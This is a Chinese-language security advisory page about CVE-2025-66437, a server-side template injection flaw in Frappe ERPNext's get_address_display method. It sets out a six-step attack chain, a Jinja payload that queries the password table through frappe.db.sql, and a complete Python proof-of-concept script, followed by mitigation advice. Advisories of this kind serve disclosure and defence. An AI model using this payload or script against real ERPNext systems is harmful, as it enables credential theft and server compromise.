IPBUF安全漏洞报告
English
CVE-2025-66437 CVSS 8.8 高危

CVE-2025-66437 Frappe ERPNext get_address_display方法SSTI漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-66437
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe ERPNext

相关标签

SSTI服务器端模板注入Frappe ERPNext远程代码执行CVE-2025-66437高危漏洞Jinja2注入认证攻击低权限提权企业ERP安全

漏洞概述

CVE-2025-66437是Frappe ERPNext中一个严重的服务器端模板注入(SSTI)漏洞,位于get_address_display方法中。该漏洞允许经过认证的低权限攻击者通过操纵地址模板来执行任意代码或获取数据库敏感信息。Frappe ERPNext是一个开源的企业资源规划(ERP)系统,广泛应用于全球各类企业的财务管理、库存管理、人力资源等核心业务模块。由于该系统处理大量敏感企业数据,此次SSTI漏洞对使用该平台的组织构成重大安全风险,攻击者可以利用此漏洞完全控制服务器并访问后端数据库。

技术细节

该漏洞的根本原因在于get_address_display方法在渲染地址模板时使用了frappe.render_template()函数,其上下文直接来自address_dict参数。当address_dict为字符串时,系统会查询对应的Address文档并将其作为渲染上下文。问题在于,虽然ERPNext实现了自定义的Jinja2 SandboxedEnvironment,但通过get_safe_globals()仍然可以访问危险函数如frappe.db.sql。攻击者需要具备创建或修改Address Template的权限,通过在模板字段中注入恶意Jinja表达式(如{{ frappe.db.sql('SELECT * FROM __Auth') }}),然后创建匹配的Address文档,最后调用get_address_display API触发渲染,即可实现代码执行或数据泄露。

攻击链分析

STEP 1
步骤1
攻击者登录Frappe ERPNext系统,获取有效会话
STEP 2
步骤2
创建恶意的Address Template,在template字段中注入SSTI payload,如{{ frappe.db.sql('SELECT * FROM __Auth') }}
STEP 3
步骤3
创建一个Address文档,将country字段设置为与恶意模板匹配的国家
STEP 4
步骤4
调用get_address_display API,将address_dict参数设置为创建的Address文档名称
STEP 5
步骤5
服务器渲染模板时执行注入的Jinja表达式,通过frappe.db.sql访问数据库或通过其他方式执行任意代码
STEP 6
步骤6
攻击者获取API响应,其中包含数据库查询结果或代码执行结果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66437 SSTI PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.89.0 import requests import json TARGET_URL = "https://erpnext.example.com" USERNAME = "[email protected]" PASSWORD = "password123" session = requests.Session() # Step 1: Login to get session login_url = f"{TARGET_URL}/api/method/login" login_data = {"usr": USERNAME, "pwd": PASSWORD} session.post(login_url, json=login_data) # Step 2: Create malicious Address Template with SSTI payload template_url = f"{TARGET_URL}/api/resource/Address Template" template_payload = { "name": "Malicious Template", "country": "Test Country", "template": "{{ frappe.db.sql('SELECT user, password FROM __Auth') }}" } try: session.post(template_url, json=template_payload) except: pass # Step 3: Create Address document using the malicious template address_url = f"{TARGET_URL}/api/resource/Address" address_payload = { "address_title": "Malicious Address", "address_type": "Billing", "country": "Test Country", "address_line1": "Test Street" } address_response = session.post(address_url, json=address_payload) address_name = address_response.json().get("data", {}).get("name") # Step 4: Trigger SSTI via get_address_display API api_url = f"{TARGET_URL}/api/method/frappe.contacts.doctype.address.address.get_address_display" params = {"address_dict": address_name} response = session.get(api_url, params=params) print("Response:", response.text) # The response will contain the result of the SQL query

影响范围

Frappe ERPNext < 15.89.0
Frappe ERPNext 15.x系列所有版本
所有使用get_address_display方法的应用

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制用户对Address Template的创建和修改权限,仅允许管理员级别的用户操作;2) 在WAF层面添加规则检测恶意Jinja表达式特征;3) 禁用或限制frappe.db.sql等数据库访问函数在模板中的可用性;4) 实施网络隔离,限制ERP系统对敏感数据库的访问权限;5) 加强用户认证和会话管理,防止凭证被盗用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表